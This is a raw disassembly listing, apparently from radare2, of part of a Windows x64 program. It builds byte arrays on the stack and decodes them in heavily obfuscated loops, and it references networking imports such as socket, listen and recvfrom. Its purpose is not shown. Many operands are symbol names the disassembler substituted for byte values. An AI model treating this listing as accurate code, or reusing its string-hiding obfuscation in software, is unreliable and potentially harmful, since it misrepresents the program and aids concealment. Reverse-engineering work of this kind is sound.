jmp 0x140205fb0
lea rdx, [rbp + 0x1598428]
jmp 0x140206be7
lea rdx, [rbp + 0x16dc1e6]
jmp 0x140206be7
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x258]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30d0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140206c1c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x30d0]
call fcn.140174580
nop
lea rcx, [rbp + 0x30d0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x30d0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xfd0], 0xe3
mov byte [rbp + 0xfd1], 0xad
mov byte [rbp + 0xfd2], 0xec
mov byte [rbp + 0xfd3], 0xab
mov byte [rbp + 0xfd4], ntohl
mov byte [rbp + 0xfd5], 0xa9
mov byte [rbp + 0xfd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xfd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xfd8], 0x3d
mov byte [rbp + 0xfd9], __WSAFDIsSet
mov byte [rbp + 0xfda], r13b
mov byte [rbp + 0xfdb], __WSAFDIsSet
mov byte [rbp + 0xfdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfdd], __WSAFDIsSet
mov byte [rbp + 0xfde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xfdf], 0x9f
mov byte [rbp + 0xfe0], 7
mov byte [rbp + 0xfe1], 0x9d
mov byte [rbp + 0xfe2], 5
mov byte [rbp + 0xfe3], 0x9b
mov byte [rbp + 0xfe4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfe5], 0x99
mov byte [rbp + 0xfe6], Ordinal_45
mov byte [rbp + 0xfe7], 0x87
mov r14d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xfe8], r14b
mov byte [rbp + 0xfe9], 0x85
mov byte [rbp + 0xfea], Ordinal_217
mov byte [rbp + 0xfeb], 0x83
mov byte [rbp + 0xfec], 0x3d
mov byte [rbp + 0xfed], 0x81
mov byte [rbp + 0xfee], Ordinal_50
mov byte [rbp + 0xfef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xff0], Ordinal_45
mov byte [rbp + 0xff1], Ordinal_143
mov byte [rbp + 0xff2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xff3], Ordinal_143
mov byte [rbp + 0xff4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xff5], Ordinal_143
mov byte [rbp + 0xff6], 0x64
mov byte [rbp + 0xff7], 0xf7
mov byte [rbp + 0xff8], 0x5c
mov byte [rbp + 0xff9], 0xf5
mov byte [rbp + 0xffa], 0x62
mov byte [rbp + 0xffb], 0xf3
mov byte [rbp + 0xffc], 0xaa
mov byte [rbp + 0xffd], 0xf1
mov byte [rbp + 0xffe], 0xa2
mov byte [rbp + 0xfff], 0xff
mov byte [rbp + 0x1000], 0xae
mov byte [rbp + 0x1001], 0xfd
mov byte [rbp + 0x1002], 0x57
mov byte [rbp + 0x1003], 0xfb
mov byte [rbp + 0x1004], 0x60
mov byte [rbp + 0x1005], 0xf9
mov byte [rbp + 0x1006], Ordinal_79
mov byte [rbp + 0x1007], 0xe7
mov byte [rbp + 0x1008], 0xb6
mov byte [rbp + 0x1009], 0xe5
mov byte [rbp + 0x100a], 0x77
mov byte [rbp + 0x100b], 0xe3
mov byte [rbp + 0x100c], 0x7d
mov byte [rbp + 0x100d], 0xe1
mov byte [rbp + 0x100e], 0x47
mov byte [rbp + 0x100f], 0xef
mov byte [rbp + 0x1010], 0xec
mov byte [rbp + 0x1011], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1012], xmm0
mov qword [rbp + 0x1022], rax
mov byte [rbp + 0x102a], al
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x140207a26
movzx r8d, byte [rbp + r9 + 0xfd0]
mov r11, r8
cmp rbx, r9
ja 0x140207a1d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140206ea9
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x140206ee3
je 0x140207994
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140207908
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1402078d0
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140207882
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140207859
cmp r10, r9
ja 0x140207a14
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140206f09
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1402070f0
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140207810
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1402077ef
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1402077cb
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1402077a5
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140207484
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140207461
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14020744d
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140207429
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140207406
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1402073f2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1402073ce
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1402073ba
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140207397
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140207383
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140206f4a
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1402079f0
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1402079c9
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14020712e
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140207108
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1402070e1
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1402072e9
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1402072c8
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140207276
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140207252
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x14020722f
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14020720b
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1402071e7
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1402071d3
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1402071b0
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14020719c
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140207178
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140207155
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140206f4a
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x140206f4a
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206f3d
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x140206ee3
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206e71
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
jmp 0x14020782e
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x140207877
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x1402075e3
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x1402078a0
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1402078df
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x1402078f5
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14020792a
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x1402077c3
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x1402079b2
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
cmp r10, 0x41
jb 0x140207744
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x140207831
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140207343
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x14020777a
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x14020759e
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp rbx, 3
jae 0x140207751
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x140207685
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x140207296
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x1402074cc
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x1402077c3
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14020721a
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x1402078f5
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1402078df
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x1402078a0
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x14020787a
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140207586
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x34
jmp 0x14020782e
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x1402074b4
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14020730a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402074e4
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1402079b2
cmp rbx, rcx
jne 0x140207510
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14020792d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14020753d
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1402078a0
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14020756a
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x64
jmp 0x14020787a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14020730a
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140207877
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402075cb
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14020782e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1402075fb
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020787a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140207628
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x1402078f2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140207654
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x14020792a
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140207346
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x1402079b2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1402076a0
movabs rdx, 0x183ceef8d34b2488
mov ecx, r15d
jmp 0x1402074cc
cmp rbx, rcx
jne 0x1402076ca
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x14020795d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1402076f7
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1402078f2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140207714
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_45
jmp 0x140207586
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140207296
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14020782e
mov byte [rbp + r9 + 0xfd0], dil
jmp 0x1402079c1
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xfd0]
jmp 0x140207535
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xfd0]
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x14020792d
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
add dil, dl
jmp 0x14020795d
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x76
jmp 0x1402078f5
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x14020787a
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xfd0], r8b
jmp 0x140207877
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
add r10, r12
sub r9, r12
jmp 0x1402079c1
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xfd0], cl
jmp 0x1402078f2
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1402079c1
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xfd0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xfd0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1402079b2
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r9 + 0xfd0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140206e5e
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140206e5b
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x22
jmp 0x140206e4b
lea rdx, [rbp + 0x1600548]
jmp 0x140207a2d
lea rdx, [rbp + 0x1027062]
jmp 0x140207a2d
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x278]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1310]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140207a62
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x1310]
call fcn.140174580
nop
lea rcx, [rbp + 0x1310]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1310]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x6a0], Ordinal_60
mov byte [rbp + 0x6a1], Ordinal_143
mov byte [rbp + 0x6a2], 0x61
mov byte [rbp + 0x6a3], 0xf3
mov byte [rbp + 0x6a4], 0x5a
mov byte [rbp + 0x6a5], 0xf1
mov byte [rbp + 0x6a6], 0x62
mov byte [rbp + 0x6a7], 0xf7
mov byte [rbp + 0x6a8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6a9], 0xf5
mov byte [rbp + 0x6aa], 0x5b
mov byte [rbp + 0x6ab], 0xfb
mov byte [rbp + 0x6ac], WSASetLastError
mov byte [rbp + 0x6ad], 0xf9
mov byte [rbp + 0x6ae], 0x5b
mov byte [rbp + 0x6af], 0xff
mov byte [rbp + 0x6b0], sil
mov byte [rbp + 0x6b1], 0xfd
mov byte [rbp + 0x6b2], 0x59
mov byte [rbp + 0x6b3], 0xe3
mov byte [rbp + 0x6b4], Ordinal_79
mov byte [rbp + 0x6b5], 0xe1
mov byte [rbp + 0x6b6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6b7], 0xe7
mov byte [rbp + 0x6b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6b9], 0xe5
mov byte [rbp + 0x6ba], 0x7f
mov byte [rbp + 0x6bb], 0xeb
mov byte [rbp + 0x6bc], 0x7a
mov byte [rbp + 0x6bd], 0xe9
mov byte [rbp + 0x6be], Ordinal_79
mov byte [rbp + 0x6bf], 0xef
mov byte [rbp + 0x6c0], 0x7a
mov byte [rbp + 0x6c1], 0xed
mov byte [rbp + 0x6c2], 0x88
mov byte [rbp + 0x6c3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6c4], 0x84
mov byte [rbp + 0x6c5], Ordinal_211
mov byte [rbp + 0x6c6], Ordinal_217
mov byte [rbp + 0x6c7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6c8], rax
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1402087ca
movzx r8d, byte [rbp + r9 + 0x6a0]
mov rdx, r8
cmp rbx, r9
ja 0x1402087c1
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140207c24
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x4e
jmp 0x140207c68
je 0x140208740
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1402086b7
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140208688
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14020863c
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1402085eb
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1402087b8
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140207c8e
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140207ea3
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1402085c9
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1402085a5
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14020857e
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140208557
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140208534
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140208282
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14020825f
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140208238
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140208214
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140208200
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1402081dc
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1402081b9
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14020819a
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140208177
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140208150
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140207cdc
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140208796
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140208772
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140207ede
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140207ebb
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140207e94
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1402080ef
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140208091
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140208041
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140208016
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140207cdc
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140208002
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140207fdf
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140207fbc
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140207fa8
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140207f86
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140207f5f
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140207f3c
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140207f19
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140207f05
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140207cdc
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x140207cdc
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140207ccf
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x140207c68
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140207beb
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x1402085d6
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x140208631
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140208634
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020865a
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140208683
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x140208566
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1402086d9
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x14020870b
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14020815f
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
mov byte [rbp + r9 + 0x6a0], dil
jmp 0x14020876a
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 9
jb 0x140208034
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140208609
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
cmp rbx, 0x1000
jae 0x1402084d7
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x14020841c
movabs rdx, 0xfb50a2d3351fd1dc
